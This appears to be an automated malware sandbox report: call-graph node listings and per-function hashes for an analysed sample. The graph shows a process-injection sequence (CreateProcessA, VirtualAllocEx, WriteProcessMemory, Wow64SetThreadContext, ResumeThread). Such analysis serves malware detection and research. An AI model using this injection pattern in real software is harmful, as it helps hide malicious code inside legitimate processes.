25652->25634 25653->25634 25654->25634 25655->25634 25656->25634 25657->25634 25658->25634 25659->25634 25660->25634 25661->25634 25662->25634 25663->25634 25664->25634 25665->25634 25666->25634 25667->25634 25668->25634 25669->25634 25671 309e543 25670->25671 25672 309e5de 25671->25672 25869 30a1122 25671->25869 25874 30a1130 25671->25874 25672->25596 25676 309ef64 25675->25676 25678 309e58c 25675->25678 25887 30a1260 25676->25887 25892 30a1270 25676->25892 25677 309e5de 25677->25596 25678->25677 25679 30a1122 2 API calls 25678->25679 25680 30a1130 2 API calls 25678->25680 25679->25678 25680->25678 25685 309e58c 25683->25685 25684 309e5de 25684->25596 25685->25684 25686 30a1122 2 API calls 25685->25686 25687 30a1130 2 API calls 25685->25687 25686->25685 25687->25685 25689 309ec0b 25688->25689 25905 30a1178 25689->25905 25910 30a1188 25689->25910 25690 309e5de 25690->25596 25691 309e58c 25691->25690 25694 30a1122 2 API calls 25691->25694 25695 30a1130 2 API calls 25691->25695 25694->25691 25695->25691 25698 309e58c 25696->25698 25697 309e5de 25697->25596 25698->25697 25699 30a1122 2 API calls 25698->25699 25700 30a1130 2 API calls 25698->25700 25699->25698 25700->25698 25702 309ef65 25701->25702 25704 309e58c 25701->25704 25705 30a1260 2 API calls 25702->25705 25706 30a1270 2 API calls 25702->25706 25703 309e5de 25703->25596 25704->25703 25707 30a1122 2 API calls 25704->25707 25708 30a1130 2 API calls 25704->25708 25705->25704 25706->25704 25707->25704 25708->25704 25710 309ef48 25709->25710 25713 30a1260 2 API calls 25710->25713 25714 30a1270 2 API calls 25710->25714 25711 309e5de 25711->25596 25712 309e58c 25712->25711 25715 30a1122 2 API calls 25712->25715 25716 30a1130 2 API calls 25712->25716 25713->25712 25714->25712 25715->25712 25716->25712 25718 309f1a7 25717->25718 25720 309e58c 25717->25720 25721 30a1178 2 API calls 25718->25721 25722 30a1188 2 API calls 25718->25722 25719 309e5de 25719->25596 25720->25719 25723 30a1122 2 API calls 25720->25723 25724 30a1130 2 API calls 25720->25724 25721->25720 25722->25720 25723->25720 25724->25720 25726 309e58c 25725->25726 25727 309e5de 25726->25727 25728 30a1122 2 API calls 25726->25728 25729 30a1130 2 API calls 25726->25729 25727->25596 25728->25726 25729->25726 25732 309e58c 25730->25732 25731 309e5de 25731->25596 25732->25731 25733 30a1122 2 API calls 25732->25733 25734 30a1130 2 API calls 25732->25734 25733->25732 25734->25732 25737 309e58c 25735->25737 25736 309e5de 25736->25596 25737->25736 25738 30a1122 2 API calls 25737->25738 25739 30a1130 2 API calls 25737->25739 25738->25737 25739->25737 25741 309e58c 25740->25741 25742 309e5de 25741->25742 25743 30a1122 2 API calls 25741->25743 25744 30a1130 2 API calls 25741->25744 25742->25596 25743->25741 25744->25741 25747 309e58c 25745->25747 25746 309e5de 25746->25596 25747->25746 25748 30a1122 2 API calls 25747->25748 25749 30a1130 2 API calls 25747->25749 25748->25747 25749->25747 25752 30a1178 2 API calls 25750->25752 25753 30a1188 2 API calls 25750->25753 25751 309f3ff 25752->25751 25753->25751 25755 309eb7a 25754->25755 25923 309fa68 25755->25923 25928 309fa78 25755->25928 25756 309e5de 25756->25596 25757 309e58c 25757->25756 25760 30a1122 2 API calls 25757->25760 25761 30a1130 2 API calls 25757->25761 25760->25757 25761->25757 25763 309e58c 25762->25763 25764 309e5de 25763->25764 25765 30a1122 2 API calls 25763->25765 25766 30a1130 2 API calls 25763->25766 25764->25596 25765->25763 25766->25763 25769 309e58c 25767->25769 25768 309e5de 25768->25596 25769->25768 25770 30a1122 2 API calls 25769->25770 25771 30a1130 2 API calls 25769->25771 25770->25769 25771->25769 25774 309e58c 25772->25774 25773 309e5de 25773->25596 25774->25773 25775 30a1122 2 API calls 25774->25775 25776 30a1130 2 API calls 25774->25776 25775->25774 25776->25774 25778 309e58c 25777->25778 25778->25777 25779 309e5de 25778->25779 25780 30a1122 2 API calls 25778->25780 25781 30a1130 2 API calls 25778->25781 25779->25596 25780->25778 25781->25778 25784 309e58c 25782->25784 25783 309e5de 25783->25596 25784->25783 25785 30a1122 2 API calls 25784->25785 25786 30a1130 2 API calls 25784->25786 25785->25784 25786->25784 25789 309e58c 25787->25789 25788 309e5de 25788->25596 25789->25788 25790 30a1122 2 API calls 25789->25790 25791 30a1130 2 API calls 25789->25791 25790->25789 25791->25789 25794 309e58c 25792->25794 25793 309e5de 25793->25596 25794->25793 25795 30a1122 2 API calls 25794->25795 25796 30a1130 2 API calls 25794->25796 25795->25794 25796->25794 25799 309e58c 25797->25799 25798 309e5de 25798->25596 25799->25798 25800 30a1122 2 API calls 25799->25800 25801 30a1130 2 API calls 25799->25801 25800->25799 25801->25799 25804 309e58c 25802->25804 25803 309e5de 25803->25596 25804->25803 25805 30a1122 2 API calls 25804->25805 25806 30a1130 2 API calls 25804->25806 25805->25804 25806->25804 25951 30a10d0 25807->25951 25956 30a10e0 25807->25956 25808 309f480 25813 309e58c 25811->25813 25812 309e5de 25812->25596 25813->25812 25814 30a1122 2 API calls 25813->25814 25815 30a1130 2 API calls 25813->25815 25814->25813 25815->25813 25819 309202c Wow64SetThreadContext 25816->25819 25820 3092030 Wow64SetThreadContext 25816->25820 25817 309e5de 25817->25596 25818 309e58c 25818->25817 25821 30a1122 2 API calls 25818->25821 25822 30a1130 2 API calls 25818->25822 25819->25818 25820->25818 25821->25818 25822->25818 25825 309e58c 25823->25825 25824 309e5de 25824->25596 25825->25824 25826 30a1122 2 API calls 25825->25826 25827 30a1130 2 API calls 25825->25827 25826->25825 25827->25825 25830 309e58c 25828->25830 25829 309e5de 25829->25596 25830->25829 25831 30a1122 2 API calls 25830->25831 25832 30a1130 2 API calls 25830->25832 25831->25830 25832->25830 25834 309e543 25833->25834 25835 309e5de 25834->25835 25836 30a1122 2 API calls 25834->25836 25837 30a1130 2 API calls 25834->25837 25835->25596 25836->25834 25837->25834 25840 309e58c 25838->25840 25839 309e5de 25839->25596 25840->25839 25841 30a1122 2 API calls 25840->25841 25842 30a1130 2 API calls 25840->25842 25841->25840 25842->25840 25844 309e58c 25843->25844 25845 309e5de 25844->25845 25846 30a1122 2 API calls 25844->25846 25847 30a1130 2 API calls 25844->25847 25845->25596 25846->25844 25847->25844 25850 309e58c 25848->25850 25849 309e5de 25849->25596 25850->25849 25851 30a1122 2 API calls 25850->25851 25852 30a1130 2 API calls 25850->25852 25851->25850 25852->25850 25854 309f1a6 25853->25854 25856 309e58c 25853->25856 25857 30a1178 2 API calls 25854->25857 25858 30a1188 2 API calls 25854->25858 25855 309e5de 25855->25596 25856->25855 25859 30a1122 2 API calls 25856->25859 25860 30a1130 2 API calls 25856->25860 25857->25856 25858->25856 25859->25856 25860->25856 25862 309f18a 25861->25862 25865 30a1178 2 API calls 25862->25865 25866 30a1188 2 API calls 25862->25866 25863 309e5de 25863->25596 25864 309e58c 25864->25863 25867 30a1122 2 API calls 25864->25867 25868 30a1130 2 API calls 25864->25868 25865->25864 25866->25864 25867->25864 25868->25864 25870 30a1145 25869->25870 25879 30926a9 25870->25879 25883 30926b0 25870->25883 25871 30a1167 25871->25671 25875 30a1145 25874->25875 25877 30926a9 VirtualAllocEx 25875->25877 25878 30926b0 VirtualAllocEx 25875->25878 25876 30a1167 25876->25671 25877->25876 25878->25876 25880 30926f4 VirtualAllocEx 25879->25880 25882 309276c 25880->25882 25882->25871 25884 30926f4 VirtualAllocEx 25883->25884 25886 309276c 25884->25886 25886->25871 25888 30a1270 25887->25888 25897 3092d08 25888->25897 25901 3092d00 25888->25901 25889 30a129b 25889->25678 25893 30a1285 25892->25893 25895 3092d08 ResumeThread 25893->25895 25896 3092d00 ResumeThread 25893->25896 25894 30a129b 25894->25678 25895->25894 25896->25894 25898 3092d4c ResumeThread 25897->25898 25900 3092d98 25898->25900 25900->25889 25902 3092d4c ResumeThread 25901->25902 25904 3092d98 25902->25904 25904->25889 25906 30a119d 25905->25906 25915 3092968 25906->25915 25919 3092970 25906->25919 25907 30a11bf 25907->25691 25911 30a119d 25910->25911 25913 3092968 WriteProcessMemory 25911->25913 25914 3092970 WriteProcessMemory 25911->25914 25912 30a11bf 25912->25691 25913->25912 25914->25912 25916 3092970 WriteProcessMemory 25915->25916 25918 3092a52 25916->25918 25918->25907 25920 30929b9 WriteProcessMemory 25919->25920 25922 3092a52 25920->25922 25922->25907 25924 309fa78 25923->25924 25925 309fab1 25924->25925 25933 30a0249 25924->25933 25938 30a02b7 25924->25938 25925->25757 25929 309fa8f 25928->25929 25930 309fab1 25929->25930 25931 30a0249 2 API calls 25929->25931 25932 30a02b7 2 API calls 25929->25932 25930->25757 25931->25930 25932->25930 25934 30a024f 25933->25934 25943 3091c80 25934->25943 25947 3091c75 25934->25947 25939 30a02df 25938->25939 25941 3091c80 CreateProcessA 25939->25941 25942 3091c75 CreateProcessA 25939->25942 25940 30a0815 25941->25940 25942->25940 25944 3091d00 CreateProcessA 25943->25944 25946 3091efc 25944->25946 25948 3091c80 CreateProcessA 25947->25948 25950 3091efc 25948->25950 25952 30a10f5 25951->25952 25961 309202c 25952->25961 25965 3092030 25952->25965 25953 30a110e 25953->25808 25957 30a10f5 25956->25957 25959 309202c Wow64SetThreadContext 25957->25959 25960 3092030 Wow64SetThreadContext 25957->25960 25958 30a110e 25958->25808 25959->25958 25960->25958 25962 3092030 Wow64SetThreadContext 25961->25962 25964 30920f1 25962->25964 25964->25953 25966 3092079 Wow64SetThreadContext 25965->25966 25968 30920f1 25966->25968 25968->25953

                                                            Executed Functions

                                                            Function 02ED1968 Relevance: 3.1, Strings: 2, Instructions: 575COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 227 2ed1968-2ed19df 229 2ed19e6-2ed19fe 227->229 230 2ed19e1 227->230 232 2ed1f84-2ed1f9d 229->232 233 2ed1a04-2ed1b71 229->233 230->229 236 2ed2024-2ed206d 232->236 237 2ed1fa3-2ed1fc5 232->237 290 2ed1bab-2ed1bad 233->290 291 2ed1b73-2ed1ba9 233->291 248 2ed207f-2ed2087 236->248 249 2ed206f-2ed207a 236->249 241 2ed2269 237->241 242 2ed1fcb-2ed1fd3 237->242 247 2ed226e-2ed2277 241->247 242->241 244 2ed1fd9-2ed1fef 242->244 244->241 246 2ed1ff5-2ed201f call 2ed1028 244->246 246->247 252 2ed2279 247->252 253 2ed2284 247->253 255 2ed20ac 248->255 256 2ed2089-2ed20aa 248->256 254 2ed2122-2ed2168 249->254 252->253 264 2ed2285 253->264 266 2ed21fd-2ed2267 254->266 267 2ed216e-2ed219e 254->267 257 2ed20b3-2ed20b5 255->257 256->257 261 2ed20b7-2ed20bf 257->261 262 2ed20c1-2ed20e1 257->262 261->254 262->254 271 2ed20e3-2ed20ec 262->271 264->264 266->247 267->241 274 2ed21a4-2ed21ab 267->274 271->241 273 2ed20f2-2ed2120 271->273 273->254 273->271 274->241 275 2ed21b1-2ed21bd 274->275 275->241 277 2ed21c3-2ed21cf 275->277 277->241 278 2ed21d5-2ed21fb 277->278 278->247 292 2ed1baf-2ed1bb1 290->292 293 2ed1bb3-2ed1bbd 290->293 291->290 294 2ed1bbf-2ed1bd5 292->294 293->294 296 2ed1bdb-2ed1be3 294->296 297 2ed1bd7-2ed1bd9 294->297 300 2ed1be5-2ed1bea 296->300 297->300 301 2ed1bfd-2ed1c2b 300->301 302 2ed1bec-2ed1bf7 300->302 306 2ed1c2d-2ed1c3a 301->306 307 2ed1c60-2ed1c6a 301->307 302->301 306->307 312 2ed1c3c-2ed1c49 306->312 308 2ed1c6c 307->308 309 2ed1c73-2ed1cff 307->309 308->309 321 2ed1d41-2ed1d4f 309->321 322 2ed1d01-2ed1d3f 309->322 315 2ed1c4f-2ed1c5a 312->315 316 2ed1c4b-2ed1c4d 312->316 315->307 316->307 325 2ed1d5a-2ed1d93 call 2ed2bc0 321->325 322->325 329 2ed1d99-2ed1e56 325->329 334 2ed1e58-2ed1e82 329->334 335 2ed1e84-2ed1ea0 329->335 334->335 338 2ed1eae 335->338 339 2ed1ea2 335->339 340 2ed1eaf 338->340 339->338 340->340
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: e7d8b5615855be02ed8037fb12775d7c8ea5757a1d46eaf438216322a63bbe3e
                                                            • Instruction ID: 02bc6ce4b5255536120f3875afec327c82d9e8fdc04d7a08983434d5376d498e
                                                            • Opcode Fuzzy Hash: e7d8b5615855be02ed8037fb12775d7c8ea5757a1d46eaf438216322a63bbe3e
                                                            • Instruction Fuzzy Hash: 63328B70A01219CFDB24CF69D884AADB7F2BF88705F11C669E40AEB255DB34A942CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED1958 Relevance: 2.9, Strings: 2, Instructions: 356COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 343 2ed1958-2ed19df 345 2ed19e6-2ed19fe 343->345 346 2ed19e1 343->346 348 2ed1f84-2ed1f9d 345->348 349 2ed1a04-2ed1b71 345->349 346->345 352 2ed2024-2ed206d 348->352 353 2ed1fa3-2ed1fc5 348->353 406 2ed1bab-2ed1bad 349->406 407 2ed1b73-2ed1ba9 349->407 364 2ed207f-2ed2087 352->364 365 2ed206f-2ed207a 352->365 357 2ed2269 353->357 358 2ed1fcb-2ed1fd3 353->358 363 2ed226e-2ed2277 357->363 358->357 360 2ed1fd9-2ed1fef 358->360 360->357 362 2ed1ff5-2ed201f call 2ed1028 360->362 362->363 368 2ed2279 363->368 369 2ed2284 363->369 371 2ed20ac 364->371 372 2ed2089-2ed20aa 364->372 370 2ed2122-2ed2168 365->370 368->369 380 2ed2285 369->380 382 2ed21fd-2ed2267 370->382 383 2ed216e-2ed219e 370->383 373 2ed20b3-2ed20b5 371->373 372->373 377 2ed20b7-2ed20bf 373->377 378 2ed20c1-2ed20e1 373->378 377->370 378->370 387 2ed20e3-2ed20ec 378->387 380->380 382->363 383->357 390 2ed21a4-2ed21ab 383->390 387->357 389 2ed20f2-2ed2120 387->389 389->370 389->387 390->357 391 2ed21b1-2ed21bd 390->391 391->357 393 2ed21c3-2ed21cf 391->393 393->357 394 2ed21d5-2ed21fb 393->394 394->363 408 2ed1baf-2ed1bb1 406->408 409 2ed1bb3-2ed1bbd 406->409 407->406 410 2ed1bbf-2ed1bd5 408->410 409->410 412 2ed1bdb-2ed1be3 410->412 413 2ed1bd7-2ed1bd9 410->413 416 2ed1be5-2ed1bea 412->416 413->416 417 2ed1bfd-2ed1c2b 416->417 418 2ed1bec-2ed1bf7 416->418 422 2ed1c2d-2ed1c3a 417->422 423 2ed1c60-2ed1c6a 417->423 418->417 422->423 428 2ed1c3c-2ed1c49 422->428 424 2ed1c6c 423->424 425 2ed1c73-2ed1cff 423->425 424->425 437 2ed1d41-2ed1d4f 425->437 438 2ed1d01-2ed1d3f 425->438 431 2ed1c4f-2ed1c5a 428->431 432 2ed1c4b-2ed1c4d 428->432 431->423 432->423 441 2ed1d5a-2ed1d93 call 2ed2bc0 437->441 438->441 445 2ed1d99-2ed1e56 441->445 450 2ed1e58-2ed1e82 445->450 451 2ed1e84-2ed1ea0 445->451 450->451 454 2ed1eae 451->454 455 2ed1ea2 451->455 456 2ed1eaf 454->456 455->454 456->456
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: b09ef3c1a41a90142e4397c8a725975ec205374c662963c5c8a1ec36ae0fa217
                                                            • Instruction ID: c6900dfb97b8d1fcf4ff0639b0858a8060b06e6d194eaee1f58120eb375c4ab2
                                                            • Opcode Fuzzy Hash: b09ef3c1a41a90142e4397c8a725975ec205374c662963c5c8a1ec36ae0fa217
                                                            • Instruction Fuzzy Hash: 91E17B74E002298FDB18DF69D840AADB7F6BFC8305F15D669D40AEB254DB34A942CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED19AC Relevance: 2.8, Strings: 2, Instructions: 345COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 459 2ed19ac-2ed19b8 461 2ed19ba-2ed19c4 459->461 462 2ed19c5-2ed19df 459->462 463 2ed19e6-2ed19fe 462->463 464 2ed19e1 462->464 466 2ed1f84-2ed1f9d 463->466 467 2ed1a04-2ed1b71 463->467 464->463 470 2ed2024-2ed206d 466->470 471 2ed1fa3-2ed1fc5 466->471 524 2ed1bab-2ed1bad 467->524 525 2ed1b73-2ed1ba9 467->525 482 2ed207f-2ed2087 470->482 483 2ed206f-2ed207a 470->483 475 2ed2269 471->475 476 2ed1fcb-2ed1fd3 471->476 481 2ed226e-2ed2277 475->481 476->475 478 2ed1fd9-2ed1fef 476->478 478->475 480 2ed1ff5-2ed201f call 2ed1028 478->480 480->481 486 2ed2279 481->486 487 2ed2284 481->487 489 2ed20ac 482->489 490 2ed2089-2ed20aa 482->490 488 2ed2122-2ed2168 483->488 486->487 498 2ed2285 487->498 500 2ed21fd-2ed2267 488->500 501 2ed216e-2ed219e 488->501 491 2ed20b3-2ed20b5 489->491 490->491 495 2ed20b7-2ed20bf 491->495 496 2ed20c1-2ed20e1 491->496 495->488 496->488 505 2ed20e3-2ed20ec 496->505 498->498 500->481 501->475 508 2ed21a4-2ed21ab 501->508 505->475 507 2ed20f2-2ed2120 505->507 507->488 507->505 508->475 509 2ed21b1-2ed21bd 508->509 509->475 511 2ed21c3-2ed21cf 509->511 511->475 512 2ed21d5-2ed21fb 511->512 512->481 526 2ed1baf-2ed1bb1 524->526 527 2ed1bb3-2ed1bbd 524->527 525->524 528 2ed1bbf-2ed1bd5 526->528 527->528 530 2ed1bdb-2ed1be3 528->530 531 2ed1bd7-2ed1bd9 528->531 534 2ed1be5-2ed1bea 530->534 531->534 535 2ed1bfd-2ed1c2b 534->535 536 2ed1bec-2ed1bf7 534->536 540 2ed1c2d-2ed1c3a 535->540 541 2ed1c60-2ed1c6a 535->541 536->535 540->541 546 2ed1c3c-2ed1c49 540->546 542 2ed1c6c 541->542 543 2ed1c73-2ed1cff 541->543 542->543 555 2ed1d41-2ed1d4f 543->555 556 2ed1d01-2ed1d3f 543->556 549 2ed1c4f-2ed1c5a 546->549 550 2ed1c4b-2ed1c4d 546->550 549->541 550->541 559 2ed1d5a-2ed1d93 call 2ed2bc0 555->559 556->559 563 2ed1d99-2ed1e56 559->563 568 2ed1e58-2ed1e82 563->568 569 2ed1e84-2ed1ea0 563->569 568->569 572 2ed1eae 569->572 573 2ed1ea2 569->573 574 2ed1eaf 572->574 573->572 574->574
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: 633eb160c436abc961072926c88e0c6e14f5a40ec836cce54756298e7a8cb983
                                                            • Instruction ID: 37b188594949737d433ae67cacdba01811814c2434c77abdf65cd38acd41d16c
                                                            • Opcode Fuzzy Hash: 633eb160c436abc961072926c88e0c6e14f5a40ec836cce54756298e7a8cb983
                                                            • Instruction Fuzzy Hash: FFD18F75E012298FDB18DF79D840AADB7F6BFC8705F11D668D40AEB254DB30A942CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED1A16 Relevance: 2.8, Strings: 2, Instructions: 319COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 577 2ed1a16-2ed1b71 595 2ed1bab-2ed1bad 577->595 596 2ed1b73-2ed1ba9 577->596 597 2ed1baf-2ed1bb1 595->597 598 2ed1bb3-2ed1bbd 595->598 596->595 599 2ed1bbf-2ed1bd5 597->599 598->599 601 2ed1bdb-2ed1be3 599->601 602 2ed1bd7-2ed1bd9 599->602 605 2ed1be5-2ed1bea 601->605 602->605 606 2ed1bfd-2ed1c2b 605->606 607 2ed1bec-2ed1bf7 605->607 611 2ed1c2d-2ed1c3a 606->611 612 2ed1c60-2ed1c6a 606->612 607->606 611->612 617 2ed1c3c-2ed1c49 611->617 613 2ed1c6c 612->613 614 2ed1c73-2ed1cff 612->614 613->614 626 2ed1d41-2ed1d4f 614->626 627 2ed1d01-2ed1d3f 614->627 620 2ed1c4f-2ed1c5a 617->620 621 2ed1c4b-2ed1c4d 617->621 620->612 621->612 630 2ed1d5a-2ed1d93 call 2ed2bc0 626->630 627->630 634 2ed1d99-2ed1e56 630->634 639 2ed1e58-2ed1e82 634->639 640 2ed1e84-2ed1ea0 634->640 639->640 643 2ed1eae 640->643 644 2ed1ea2 640->644 645 2ed1eaf 643->645 644->643 645->645
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: b1c5daef91b7c83b986a176dd9ad1792b2eb6d898ff5e89362bea858ce08c7bd
                                                            • Instruction ID: 1e57d16b7842844f3bc36620c201b20fc1f2cacb2a07fef246a927039e24ffbc
                                                            • Opcode Fuzzy Hash: b1c5daef91b7c83b986a176dd9ad1792b2eb6d898ff5e89362bea858ce08c7bd
                                                            • Instruction Fuzzy Hash: 18C16D75A012298FDB18DF79D840AADB7F6BFC8705F11C668D40AEB254DB30A942CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F7F138 Relevance: 2.7, Strings: 2, Instructions: 247COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 648 6f7f138-6f7f160 649 6f7f167-6f7f19b 648->649 650 6f7f162 648->650 653 6f7f19e-6f7f1a4 649->653 650->649 654 6f7f1a6 653->654 655 6f7f1ad-6f7f1ae 653->655 654->655 656 6f7f4b5-6f7f4d7 654->656 657 6f7f1b0-6f7f1d9 654->657 658 6f7f430-6f7f450 654->658 659 6f7f27f-6f7f287 654->659 660 6f7f45a 654->660 661 6f7f1e3-6f7f201 654->661 662 6f7f3e2-6f7f3fc 654->662 663 6f7f362-6f7f382 654->663 664 6f7f4e1 654->664 665 6f7f38e-6f7f3a9 654->665 666 6f7f20c-6f7f22f call 6f7dc78 654->666 667 6f7f3ab-6f7f3ae 654->667 668 6f7f2c9-6f7f30a call 6f75544 654->668 655->666 685 6f7f4a3-6f7f4a9 656->685 686 6f7f4d9-6f7f4df 656->686 657->653 687 6f7f1db-6f7f1e1 657->687 690 6f7f41e-6f7f424 658->690 692 6f7f452-6f7f458 658->692 682 6f7f28d-6f7f2b6 659->682 660->685 662->660 681 6f7f3fe-6f7f412 662->681 669 6f7f384-6f7f38c 663->669 670 6f7f350-6f7f356 663->670 665->670 679 6f7f234-6f7f253 666->679 680 6f7f3ba-6f7f3d1 667->680 701 6f7f314-6f7f319 668->701 702 6f7f30c-6f7f312 668->702 669->670 674 6f7f35f-6f7f360 670->674 675 6f7f358 670->675 674->665 675->656 675->658 675->660 675->662 675->663 675->664 675->665 675->667 675->674 679->661 700 6f7f255-6f7f26e 679->700 680->670 688 6f7f3d7-6f7f3dd 680->688 689 6f7f414-6f7f41c 681->689 681->690 682->653 691 6f7f2bc-6f7f2c4 682->691 694 6f7f4b2-6f7f4b3 685->694 695 6f7f4ab 685->695 686->685 687->653 688->670 689->690 697 6f7f426 690->697 698 6f7f42d-6f7f42e 690->698 691->653 692->690 694->656 695->656 695->664 695->694 697->656 697->658 697->660 697->664 697->698 698->660 700->653 703 6f7f274-6f7f27a 700->703 704 6f7f31e-6f7f34e 701->704 705 6f7f31b-6f7f31c 701->705 702->701 703->653 704->670 705->704
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Te^q$yv{%
                                                            • API String ID: 0-401465551
                                                            • Opcode ID: 6c3ff594a747b02e8974e28312d96101b1a2c1837424a675627ef1df83594c5f
                                                            • Instruction ID: 5eb94cd249c4d348cb7a986e7d96997d385b3819809c3470b06f59b52eb02fc4
                                                            • Opcode Fuzzy Hash: 6c3ff594a747b02e8974e28312d96101b1a2c1837424a675627ef1df83594c5f
                                                            • Instruction Fuzzy Hash: 31B1E5B0E06218CFEB94CFA9D944B9DBBF2FF89304F20806AD409AB255DB755985CF41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED2EF8 Relevance: 2.7, Strings: 2, Instructions: 173COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 708 2ed2ef8-2ed2f20 712 2ed2f31 call 2ed2af0 708->712 713 2ed2f22-2ed2f30 708->713 716 2ed2f36-2ed2f38 712->716 717 2ed2f49-2ed2f63 716->717 718 2ed2f3a-2ed2f48 716->718 720 2ed304e-2ed30d6 717->720 721 2ed2f69-2ed2f76 717->721 721->720 722 2ed2f7c-2ed2f86 721->722 722->720 724 2ed2f8c-2ed2f96 722->724 724->720 725 2ed2f9c-2ed2fb6 724->725 726 2ed2fb9-2ed2fd7 725->726 726->720 728 2ed2fd9-2ed2ffe 726->728 728->720 729 2ed3000-2ed3012 728->729 729->726 731 2ed3014-2ed3016 729->731 733 2ed3019-2ed301e 731->733 733->720 734 2ed3020-2ed302a 733->734 734->733 736 2ed302c-2ed304d 734->736
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $RkIU
                                                            • API String ID: 0-2635308942
                                                            • Opcode ID: 152e91580aa349cf0df5c252a7c1283fb6236325284747f99f79a1bd56778ba4
                                                            • Instruction ID: e3bfdef5424bd12db1769f69ebefb1c3554feaa48ea1ca161df906c89e213183
                                                            • Opcode Fuzzy Hash: 152e91580aa349cf0df5c252a7c1283fb6236325284747f99f79a1bd56778ba4
                                                            • Instruction Fuzzy Hash: 7751BD31F401158FCB24CBADC8805AEBBF2EBC8215B58C5B9E609C7359DB35ED428B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F7DCD0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Deq
                                                            • API String ID: 0-948982800
                                                            • Opcode ID: 983dc4011485b5fbbd8d40d0c0482a05dfd9907bb740e2062f540f27cd87ca26
                                                            • Instruction ID: 61224336dce4f5f57d31616fb5bd0f66769b3b7bf4cb0b35c5d67ee0bd3b9c27
                                                            • Opcode Fuzzy Hash: 983dc4011485b5fbbd8d40d0c0482a05dfd9907bb740e2062f540f27cd87ca26
                                                            • Instruction Fuzzy Hash: BFD1C474E01218CFDB54DFA9D894A9DBBB2FF88304F1080AAD409AB365DB35AD85CF51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED1290 Relevance: 1.5, Strings: 1, Instructions: 211COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: \s^q
                                                            • API String ID: 0-4111632511
                                                            • Opcode ID: cf395002a4d5059b5181ae93486697a9c284c4c1b5b23a3e6f748f3caa339ae3
                                                            • Instruction ID: a3529b2c3492a8e67c78db526a0830577edd185446f0ac3f39d71566796c96b9
                                                            • Opcode Fuzzy Hash: cf395002a4d5059b5181ae93486697a9c284c4c1b5b23a3e6f748f3caa339ae3
                                                            • Instruction Fuzzy Hash: CB81F7B8E4021EDFDF14CFA9D584AAEBBF1BF48304F10A665D406EB294DB31A941CB50
